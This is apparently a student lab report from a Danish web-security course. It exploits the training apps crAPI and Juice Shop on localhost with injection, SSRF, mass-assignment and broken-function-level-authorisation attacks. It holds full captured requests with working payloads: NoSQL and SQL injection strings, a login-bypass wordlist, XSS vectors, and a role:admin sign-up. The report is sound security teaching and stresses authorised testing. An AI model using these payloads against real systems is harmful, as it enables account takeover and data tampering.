Skip to content

Øvelse 16 - Injection, Mass assignment & BFLA

Forfatter: Mathias Greisen

Dato: 2026-10-23

Fag/modul: IT-Sikkerhed i Webapplikationer

Status: Færdig


1. Beskrivelse af øvelsen

Øvelserne handler om at afprøve Injection, Mass assignment & BFLA i testmiljøer.


2. Reproduktion trin for trin

Forudsætninger

  • BurpSuite
  • Postman
  • CrAPI
  • JuiceShop

Basic Injection Attack

Basic NoSQL Injection Attack

  1. In the crAPI web app, attempt to validate a coupon and capture the request in Burp Suite.

  2. Modify the coupon code value in the request body to: { "$ne": 1 }

    Request
    POST /community/api/v2/coupon/validate-coupon HTTP/1.1
    Host: 127.0.0.1:8443
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa
    Content-Length: 28
    Sec-Ch-Ua-Platform: "Windows"
    Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyYUBtYWlsLnRlc3QiLCJpYXQiOjE3OTI3MDQyOTMsImV4cCI6MTc5MzMwOTA5Mywicm9sZSI6InVzZXIifQ.nxUSKn1JXc-pnt7B_2uqzX74QYDt3OAlMULFUKV9p2YX6qmTYfltpgklLoflv3UR8-AhZ-j0UAmw1-JkKz_j_JodPQrva6ilrQklfXmXIYuwPIdVwFvQP46epyvfh98Vonepucwhize78H8ACDCZjzGB01znjqx8J_mouQtzJAfVRiqyRKpZw5A8YAUElEgcRCIvt_Fx5iynAKjtc59j2PPV9DWjOKuULRJNDO7dYvxMDx-Q2DcmQ9H8zHt6J-NBMiIgmk5pmv8eTz6blSt17nDUz2Q9Ux3U5bjmiEEKlzPqfEVxxvDmL77Ww-5LliC-eGfyzzXeasDK4BXMTHSe5A
    Accept-Language: da-DK,da;q=0.9
    Sec-Ch-Ua: "Not A(Brand";v="99", "Chromium";v="154"
    Content-Type: application/json
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
    Accept: */*
    Origin: https://127.0.0.1:8443
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://127.0.0.1:8443/shop
    Accept-Encoding: gzip, deflate, br
    Priority: u=1, i
    Connection: keep-alive
    
    {
    "coupon_code":{
        "$ne":1
    }
    }
    
  3. Observe and interpret the response. If successful, note the returned coupon—you will need it for the next task.

    Response
    HTTP/1.1 200 OK
    Server: openresty/1.25.3.1
    Date: Thu, 22 Oct 2026 21:28:20 GMT
    Content-Type: application/json
    Connection: keep-alive
    Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
    Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
    Access-Control-Allow-Origin: *
    Content-Length: 79
    
    {
    "coupon_code":"TRAC075",
    "amount":"75",
    "CreatedAt":"2026-09-04T07:38:20.311Z"
    }
    

Basic SQL Injection – Retrieve Database Version

  1. Use the coupon retrieved in the previous exercise and capture the apply coupon request.

  2. Change the coupon code in the request to: 0'; select version() --+

    Request
    POST /workshop/api/shop/apply_coupon HTTP/1.1
    Host: 127.0.0.1:8443
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa
    Content-Length: 54
    Sec-Ch-Ua-Platform: "Windows"
    Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyYUBtYWlsLnRlc3QiLCJpYXQiOjE3OTI3MDQyOTMsImV4cCI6MTc5MzMwOTA5Mywicm9sZSI6InVzZXIifQ.nxUSKn1JXc-pnt7B_2uqzX74QYDt3OAlMULFUKV9p2YX6qmTYfltpgklLoflv3UR8-AhZ-j0UAmw1-JkKz_j_JodPQrva6ilrQklfXmXIYuwPIdVwFvQP46epyvfh98Vonepucwhize78H8ACDCZjzGB01znjqx8J_mouQtzJAfVRiqyRKpZw5A8YAUElEgcRCIvt_Fx5iynAKjtc59j2PPV9DWjOKuULRJNDO7dYvxMDx-Q2DcmQ9H8zHt6J-NBMiIgmk5pmv8eTz6blSt17nDUz2Q9Ux3U5bjmiEEKlzPqfEVxxvDmL77Ww-5LliC-eGfyzzXeasDK4BXMTHSe5A
    Accept-Language: da-DK,da;q=0.9
    Sec-Ch-Ua: "Not A(Brand";v="99", "Chromium";v="154"
    Content-Type: application/json
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
    Accept: */*
    Origin: https://127.0.0.1:8443
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://127.0.0.1:8443/shop
    Accept-Encoding: gzip, deflate, br
    Priority: u=1, i
    Connection: keep-alive
    
    {
    "coupon_code":"0'; select version() --+",
    "amount":75
    }
    
  3. Observe the reply and search online to determine the database type based on the returned version.

    Response
    HTTP/1.1 400 Bad Request
    Server: openresty/1.25.3.1
    Date: Thu, 22 Oct 2026 21:31:10 GMT
    Content-Type: application/json
    Connection: keep-alive
    Allow: POST, OPTIONS
    Vary: origin, Cookie
    access-control-allow-origin: *
    X-Frame-Options: DENY
    X-Content-Type-Options: nosniff
    Referrer-Policy: same-origin
    Cross-Origin-Opener-Policy: same-origin
    Content-Length: 206
    
    {
    "message":"PostgreSQL 14.19 (Debian 14.19-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit Coupon code is already claimed by you!! Please try with another coupon code"
    }
    
    • PostgreSQL 14.19 is a minor release of the PostgreSQL
    • It manages traditional structured tables with rows, columns, and foreign keys, while also supporting non-relational data formats like JSON.

Basic Server-Side Request Forgery (SSRF)

  1. Capture the POST request used to contact a mechanic.

  2. Modify the request so that the API attempts a server-side call to https://www.google.dk.

    Request
    POST /workshop/api/merchant/contact_mechanic HTTP/1.1
    Host: 127.0.0.1:8443
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa
    Content-Length: 178
    Sec-Ch-Ua-Platform: "Windows"
    Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyYUBtYWlsLnRlc3QiLCJpYXQiOjE3OTI3MDQyOTMsImV4cCI6MTc5MzMwOTA5Mywicm9sZSI6InVzZXIifQ.nxUSKn1JXc-pnt7B_2uqzX74QYDt3OAlMULFUKV9p2YX6qmTYfltpgklLoflv3UR8-AhZ-j0UAmw1-JkKz_j_JodPQrva6ilrQklfXmXIYuwPIdVwFvQP46epyvfh98Vonepucwhize78H8ACDCZjzGB01znjqx8J_mouQtzJAfVRiqyRKpZw5A8YAUElEgcRCIvt_Fx5iynAKjtc59j2PPV9DWjOKuULRJNDO7dYvxMDx-Q2DcmQ9H8zHt6J-NBMiIgmk5pmv8eTz6blSt17nDUz2Q9Ux3U5bjmiEEKlzPqfEVxxvDmL77Ww-5LliC-eGfyzzXeasDK4BXMTHSe5A
    Accept-Language: da-DK,da;q=0.9
    Sec-Ch-Ua: "Not A(Brand";v="99", "Chromium";v="154"
    Content-Type: application/json
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
    Accept: */*
    Origin: https://127.0.0.1:8443
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://127.0.0.1:8443/contact-mechanic?VIN=8HJCS92UDBG585783
    Accept-Encoding: gzip, deflate, br
    Priority: u=1, i
    Connection: keep-alive
    
    {
    "mechanic_code":"TRAC_JHN",
    "problem_details":"asdassdds",
    "vin":"8HJCS92UDBG585783",
    "mechanic_api":"https://www.google.dk",
    "repeat_request_if_failed":false,
    "number_of_repeats":1
    }
    

    To prevent SSRF, applications should maintain a request allowlist that restricts outgoing requests to known and safe destinations.

Reflekterende sprøgsmål

  1. What differentiates NoSQL injection from SQL injection?
    • Da der for de to er forskel på query struktur og database design bruger man derfor forskellige slags payloads.
  2. How could the application have prevented these injection attacks?
    • Ved at sanitize inputtet og ikke bruge det direkte i database queries, men f.eks. ved sql bruge parameterized queries.
  3. What are the broader implications of a successful SSRF attack?
    • Det kan f.eks. give adgang til interne netværk da det jo nu er serveren som sender anmodningen.
      • Dette kan potentielt også bruges til at scanne interne netværk efter andre enheder eller services.
    • Ved cloud løsninger kan man måske også bruge den til at hente interne metadata fra cloud leverandøren som kan give adgang.
    • Kan også føre til Denial of Service ved at få serveren til konstant at hente store filer fra nettet.
  4. How do secure practices like parameterized queries and request allowlists help prevent injection attacks?
    • Parameterized queries gør at bruger indput ikke køres som direkte sql og derfor kan man fx. ikke udkommentere resten af sql querien og køre en anden istedet for.
    • Request allowlists gør at serveren kun kan tilgå specifikke domæner eller ip-adresser. Dermed kan serveren ikke sendes andre steder hen af en aktør.

Mass Assignment and Access Control in crAPI

Exploiting Mass Assignment to Change Order Status

  1. In the crAPI web application, create a new order (e.g., purchase a wheel).

  2. Navigate to Past Orders in the interface.

  3. Click Order Details for any order and capture the request using Burp Suite.

  4. Inspect the Allow header in the response—what HTTP methods are listed?

    Allow: GET, POST, PUT, HEAD, OPTIONS
    
  5. In the response body, identify the current status of the order.

  6. Change the request method to PUT.

  7. Modify the request body as follows:

{
  "status": "returned"
}

```http title="Request" PUT /workshop/api/shop/orders/8 HTTP/1.1 Host: 127.0.0.1:8443 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa Sec-Ch-Ua-Platform: "Windows" Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyYUBtYWlsLnRlc3QiLCJpYXQiOjE3OTI3MDQyOTMsImV4cCI6MTc5MzMwOTA5Mywicm9sZSI6InVzZXIifQ.nxUSKn1JXc-pnt7B_2uqzX74QYDt3OAlMULFUKV9p2YX6qmTYfltpgklLoflv3UR8-AhZ-j0UAmw1-JkKz_j_JodPQrva6ilrQklfXmXIYuwPIdVwFvQP46epyvfh98Vonepucwhize78H8ACDCZjzGB01znjqx8J_mouQtzJAfVRiqyRKpZw5A8YAUElEgcRCIvt_Fx5iynAKjtc59j2PPV9DWjOKuULRJNDO7dYvxMDx-Q2DcmQ9H8zHt6J-NBMiIgmk5pmv8eTz6blSt17nDUz2Q9Ux3U5bjmiEEKlzPqfEVxxvDmL77Ww-5LliC-eGfyzzXeasDK4BXMTHSe5A Accept-Language: da-DK,da;q=0.9 Sec-Ch-Ua: "Not A(Brand";v="99", "Chromium";v="154" Content-Type: application/json Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://127.0.0.1:8443/orders?order_id=8 Accept-Encoding: gzip, deflate, br Priority: u=1, i Connection: keep-alive Content-Length: 27

{
"status":"returned"
}
```
  1. Send the modified request.

```http title="Response" HTTP/1.1 200 OK Server: openresty/1.25.3.1 Date: Thu, 22 Oct 2026 22:36:49 GMT Content-Type: application/json Connection: keep-alive Allow: GET, POST, PUT, HEAD, OPTIONS Vary: origin, Cookie X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Content-Length: 285

{
"orders":{
    "id":8,
    "user":{
    "email":"usera@mail.test",
    "number":"3748374"
    },
    "product":{
    "id":2,
    "name":"Wheel",
    "price":"10.00",
    "image_url":"images/wheel.svg"
    },
    "quantity":1,
    "status":"returned",
    "transaction_id":"f89674fb-1b7c-454d-8bad-279c4825e55a",
    "created_on":"2026-10-22T22:34:49.333855"
}
}
```

Reflekterende sprøgsmål

  1. What role does the DTO play in enabling this vulnerability?
    • DTO'en indeholder mere information end det som egentlig vises på siden. Hvis denne ikke var der skulle vi gætte os til hvilke parametre vi kunne forsøge at ændre.
  2. How does the server fail to enforce authorization?
    • Ved at den ikke tjekker hvilken rolle brugeren har, eller ihverfald tillader at alle brugere kan redigere en ordre.
  3. What mitigation strategies would prevent this mass assignment?
    • Oprettelse af automatiske tests i koden som skal tjekke for om dette er muligt, da forretningslogikken bør være imod at kunder kan ændre ordrestatus.
    • Opret evt. endpoints for specifikke ændringer hvor rolle tjekkes. Fx. /orders/{id}/cancel (tilladt for kunde) og /orders/{id}/return (kun tilladt for administrator).
    • Opret tjek af roller i koden (for at leve op til tests i mitigation forslag 1).
    • Hvis ikke tilladte HTTP metoder i Headers.
    • Evt. kun at tillade de indputs som må ændres af en kunde. Altså fx. ikke at binde "status" til den interne model i applikationslaget.
  4. Why is it dangerous to expose unrestricted update methods to clients?
    • Det bryder integriteten af ens aktiver når alle kan ændre dem. Man kan altså ikke stole på sine data.
  5. How could role-based checks or input whitelisting help mitigate this risk?
    • Ved enten at tjekke om den rolle skal have lov til de ændringer som forsøges. Eller kun at tage imod de indput som er lovlige at ændre.

Basic Injection Attacks (JuiceShop)

Basic SQL Injection Attack

  1. In Juice Shop, attempt to authenticate with username: ' and password: 123. Capture the response.

  2. Inspect the response; it should be an error (usually HTTP 500). Take Notice of the error type.

    Response
    HTTP/1.1 500 Internal Server Error
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: application/json; charset=utf-8
    Vary: Accept-Encoding
    Date: Thu, 22 Oct 2026 23:00:03 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    Content-Length: 1165
    
    {
    "error": {
        "message": "SQLITE_ERROR: unrecognized token: \"202cb962ac59075b964b07152d234b70\"",
        "stack": "Error\n    at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n    at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n    at new Promise (<anonymous>)\n    at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n    at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n    at process.processTicksAndRejections (node:internal/process/task_queues:105:5)",
        "name": "SequelizeDatabaseError",
        "parent": {
        "errno": 1,
        "code": "SQLITE_ERROR",
        "sql": "SELECT * FROM Users WHERE email = ''' AND password = '202cb962ac59075b964b07152d234b70' AND deletedAt IS NULL"
        },
        "original": {
        "errno": 1,
        "code": "SQLITE_ERROR",
        "sql": "SELECT * FROM Users WHERE email = ''' AND password = '202cb962ac59075b964b07152d234b70' AND deletedAt IS NULL"
        },
        "sql": "SELECT * FROM Users WHERE email = ''' AND password = '202cb962ac59075b964b07152d234b70' AND deletedAt IS NULL",
        "parameters": {}
    }
    }
    
  3. Look for the SQL query printed in the error message; And copy it to a text editor.

    • "SELECT * FROM Users WHERE email = ''' AND password = '202cb962ac59075b964b07152d234b70' AND deletedAt IS NULL"
  4. Replace the email value in the copied SQL query with: ' OR TRUE -- and consider what effect this has on the query.

    • "SELECT * FROM Users WHERE email = '' OR TRUE --' AND password = '202cb962ac59075b964b07152d234b70' AND deletedAt IS NULL"
      • Dette siger at email skal være tomt eller true imens resten derefter udkommenteres med "--". Dette betyder at den blot vil returnere den første fundne bruger.
  5. In Juiceshop, Authenticate again using the username: ' OR TRUE -- and password: 123.

  6. Check which user you are authenticated as.

    • admin@juice-sh.op

Fuzzing with SQL Injection Payloads

  1. Create a small wordlist including ' OR TRUE --.

    '
    ''
    ;%00
    --
    -- -
    ""
    ;
    ' OR TRUE --
    ' OR '1
    ' OR 1 -- -
    " OR "" = "
    " OR 1 = 1 -- -
    ' OR '' = '
    OR 1=1
    
  2. Using Burp Suite Intruder or WFuzz, fuzz the login username or password field with this list.

  3. Observe responses; look for HTTP 200 or other anomalous responses indicating injection success.

    • Fik to 200 responses via følgende input:
      • ' OR TRUE --
      • ' OR 1 -- -
    • Resten skabte 401 Unauthpurized og 500 Internal Server Error svar

Basic DOM Cross Site Scripting (XSS)

  1. In the juiceshop search bar, Search for hey and observe the result.

  2. Search for <h6>hey</h6> and observe the change in font size of the search result, indicating that input is not HTML encoded.

    • Viser "hey" med meget lille skrift da den tager <h6> taggene som html.
  3. Search using HTML encoding &#60;h6&#62;hey&#60;/h6&#62; to see the raw HTML output.

  4. Try injecting a script tag: <script>alert('You got hacked')</script>. Observe that it does not execute.

    • Dette script køres ikke
  5. Inject an iframe with JS payload: <iframe src="javascript:alert('You got hacked')"> and see if it executes.

    • Denne giver et pop up vindue med beskeden "You got hacked"
  6. Try an image tag with an error event handler: <img src=x onerror=alert('You got hacked')>.

    • Viser blot et ødelagt billede logo

Reflekterende sprøgsmål

  1. Why is exposing SQL queries in error messages dangerous?
    • Det giver et direkte indblik den query som bruges og gør det derfor nemt at tilrætte sit payload til at udnytte sql injection.
    • Dette bekræfter derfor også at der er direkte adgang til databasen.
  2. How does the ' OR TRUE -- payload bypass authentication?
    • Dette siger at email skal være tomt eller true imens resten derefter udkommenteres med "--". Dette betyder at den blot vil returnere den første fundne bruger.
  3. What differentiates DOM XSS from traditional server-side XSS?
    • DOM XXS foregår ude hos klienten, imens server-side XSS sker på serveren hvorefter serveren inkluderer det i html svaret.
  4. How do CSP and input sanitization mitigate XSS?
    • CSP (Content Security Policy) kan bruges til at blokere scripts i at køre. Man kan også tillade scripts fra specifikke kilder.
    • Sanitization skal hjælpe til at fjerne eksekverbar kode fra indputs. Hvis dette så fejler skal CSP tage den. Derfor har man defense i depth.
  5. What ethical considerations should guide security testing?
    • At man bruger test miljøer uden rigtige data så man som tester heller ikke får adgang til sensitive data. Man sikrer også at man ikke evt. ødelægger rigtige aktiver.
    • At man kun tester mod applikationer som man har fået lov.
    • At man tester uden at forstyrre den normale drift.

Basic mass assignment attack (JuiceShop)

Obatin admin role

  1. Capture a sign up request.

    Request
    POST /api/Users/ HTTP/1.1
    Host: 127.0.0.1:3000
    Content-Length: 242
    sec-ch-ua-platform: "Windows"
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Not A(Brand";v="99", "Chromium";v="154"
    Content-Type: application/json
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
    Origin: http://127.0.0.1:3000
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa
    Connection: keep-alive
    
    {
    "email":"test@test.test",
    "password":"Test1234!",
    "passwordRepeat":"Test1234!",
    "securityQuestion":{
        "id":12,
        "question":"Your favorite movie?",
        "createdAt":"2026-10-22T21:15:14.813Z",
        "updatedAt":"2026-10-22T21:15:14.813Z"
    },
    "securityAnswer":"ABC"
    }
    
  2. Review the response in this request, and determine what attribute shows the users role.

    Response
    HTTP/1.1 201 Created
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Location: /api/Users/23
    Content-Type: application/json; charset=utf-8
    Content-Length: 305
    ETag: W/"131-ibHuqxeIj2kDuWnhww54vPnMKTk"
    Vary: Accept-Encoding
    Date: Thu, 22 Oct 2026 23:22:49 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    {
    "status":"success",
    "data":{
        "username":"",
        "role":"customer",
        "deluxeToken":"",
        "lastLoginIp":"0.0.0.0",
        "profileImage":"/assets/public/images/uploads/default.svg",
        "isActive":true,
        "id":23,
        "email":"test@test.test",
        "updatedAt":"2026-10-22T23:22:49.733Z",
        "createdAt":"2026-10-22T23:22:49.733Z",
        "deletedAt":null
    }
    }
    
  3. Create a new request sign up request, with an extra parameter that sets the role as admin.

    Request
    POST /api/Users/ HTTP/1.1
    Host: 127.0.0.1:3000
    Content-Length: 262
    sec-ch-ua-platform: "Windows"
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Not A(Brand";v="99", "Chromium";v="154"
    Content-Type: application/json
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
    Origin: http://127.0.0.1:3000
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa
    Connection: keep-alive
    
    {
    "email":"test1@test.test",
    "password":"Test1234!",
    "passwordRepeat":"Test1234!",
    "securityQuestion":{
        "id":12,
        "question":"Your favorite movie?",
        "createdAt":"2026-10-22T21:15:14.813Z",
        "updatedAt":"2026-10-22T21:15:14.813Z"
    },
    "securityAnswer":"ABC",
    "role":"admin"
    }
    
  4. Once you have done that, sign in to the juice page, and confirm that you can enter the admin page at the url: http://localhost:3000/#/administration. You will probably need to authenticate.

    • Der er adgang til admin panelet med den nye bruger fra trin 3

Reflekterende sprøgsmål

  1. How did the server fail to protect against unauthorized role assignment?
    • Ved at acceptere rolle som input ved oprettelse af en ny bruger.
  2. What input validation or backend controls could prevent this attack?
    • Man kunne have brugt en DTO til oprettelse som slet ikke indeholder rolle og dermed kan man ikke ved en fejl binde den til den nye oprettede bruger i databasen.
    • Man kunne tjekke om den bruger (i dette tilfælde ingen, da man ikke er logget ind) skal have lov til at oprette en admin bruger.
    • Man kunne også tjekke at hvis rolle er sat at den så kun er sat til "customer".
  3. Why is it important to separate data transfer objects from internal business logic?
    • For netop at styre hvad der kommer ind og kun binde det som skal bruges til oprettelse til den interne forretningslogik. På den måde ville rollen aldrig blive bundet til den nye profil.

Basic BFLA (Broken Function Level Authorization)

Explorer the API

  1. During API enumeration, the URL http://localhost:3000/api/Products was discovered. Explore this URL using Postman. How does it react to the HTTP methods GET, POST, and PUT?

  2. Can you perform any actions you were not intended to, such as adding or editing resources?

    • Request med Options request metode giver response med header: Access-Control-Allow-Methods GET,HEAD,PUT,PATCH,POST,DELETE
  3. One method call might give you some information about the structure of the requests.

    • GET http://127.0.0.1:3000/api/Products
    {
        "status": "success",
        "data": {
            "id": 1,
            "name": "Apple Juice (1000ml)",
            "description": "The all-time classic.",
            "price": 1.99,
            "deluxePrice": 0.99,
            "image": "apple_juice.jpg",
            "createdAt": "2026-10-22T21:15:18.458Z",
            "updatedAt": "2026-10-22T21:15:18.458Z",
            "deletedAt": null
        },
        [...]
    }
    

Add product

  1. From Postman, you should be able to add a product if you use the right HTTP method. You might also need some authorization. Remember, BFLA vulnerabilities allow users to execute functions on the API which they were never intended to.

  2. Remember to use the right Content-Type header for the data format.

    Request
    POST /api/Products HTTP/1.1
    host: 127.0.0.1
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="154", "Microsoft Edge";v="154", "Not A(Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36 Edg/154.0.0.0
    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ0ZXN0QHRlc3QudGVzdCIsInBhc3N3b3JkIjoiZWNjNDIwOGE3Nzc4YzFkNzZlN2U4OWM1MjUzMTI4YzUiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWx1eGVUb2tlbiI6IiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6Ii9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDI2LTA5LTI4IDA0OjM5OjQzLjUxOCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDI2LTA5LTI4IDA0OjM5OjQzLjUxOCArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE3OTA1NzAzODl9.JSzXz59m4h-dori9nn1Pny7-T_Ge0hxqIKNTPWBJEHPVxMtgKl8FKpk1zzISQm58YcGJcWEn9f6zUPAFmJ4NDF6xac3KdKaMNCRHVhKgnZ8-2wPwgoI5CP5DL19_3OtBgUEK-8bbKwqx4KIdCNBHaLm7uY2VORXgEuFea6IDI-M
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Content-Type: application/json; charset=utf-8
    Postman-Token: afa213a1-9573-46f2-91b3-6be7ff28d4e7
    Content-Length: 259
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
    "name":"Nyt produkt",
    "description":"Hacked.",
    "price":99.99,
    "deluxePrice":99.99,
    "image":"apple_juice.jpg",
    "createdAt":"2026-10-22T21:15:18.458Z",
    "updatedAt":"2026-10-22T23:43:53.308Z",
    "deletedAt":null
    }
    
    Response
    HTTP/1.1 201 Created
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Location: /api/Products/47
    Content-Type: application/json; charset=utf-8
    Content-Length: 237
    ETag: W/"ed-RUfA7UqZ1vAyLmcemFX7hTfP+zs"
    Vary: Accept-Encoding
    Date: Thu, 22 Oct 2026 23:47:33 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    {
    "status":"success",
    "data":{
        "id":47,
        "name":"Nyt produkt",
        "description":"Hacked.",
        "price":99.99,
        "deluxePrice":99.99,
        "image":"apple_juice.jpg",
        "createdAt":"2026-10-22T21:15:18.458Z",
        "updatedAt":"2026-10-22T23:47:33.885Z",
        "deletedAt":null
    }
    }
    

Update a product

  1. Using the right method, you might be able to update a product.

    Request
    PUT /api/Products/1 HTTP/1.1
    host: 127.0.0.1
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="154", "Microsoft Edge";v="154", "Not A(Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36 Edg/154.0.0.0
    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ0ZXN0QHRlc3QudGVzdCIsInBhc3N3b3JkIjoiZWNjNDIwOGE3Nzc4YzFkNzZlN2U4OWM1MjUzMTI4YzUiLCJyb2xlIjoiY3VzdG9tZXIiLCJkZWx1eGVUb2tlbiI6IiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6Ii9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQiOiIyMDI2LTA5LTI4IDA0OjM5OjQzLjUxOCArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDI2LTA5LTI4IDA0OjM5OjQzLjUxOCArMDA6MDAiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOjE3OTA1NzAzODl9.JSzXz59m4h-dori9nn1Pny7-T_Ge0hxqIKNTPWBJEHPVxMtgKl8FKpk1zzISQm58YcGJcWEn9f6zUPAFmJ4NDF6xac3KdKaMNCRHVhKgnZ8-2wPwgoI5CP5DL19_3OtBgUEK-8bbKwqx4KIdCNBHaLm7uY2VORXgEuFea6IDI-M
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Content-Type: application/json; charset=utf-8
    Postman-Token: fab4f9f7-4d80-4213-bb8c-79c73ae93bef
    Content-Length: 23
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
        "price": -2.99
    }
    
  2. If you are able to change it, test the application's lexical input validation. How about the semantics? Can you change the price to something that does not make sense, like negative values?

    • Ja
    Response
        {
        "status": "success",
        "data": {
            "id": 1,
            "name": "Apple Juice (1000ml)",
            "description": "The all-time classic.",
            "price": -2.99,
            "deluxePrice": 0.99,
            "image": "apple_juice.jpg",
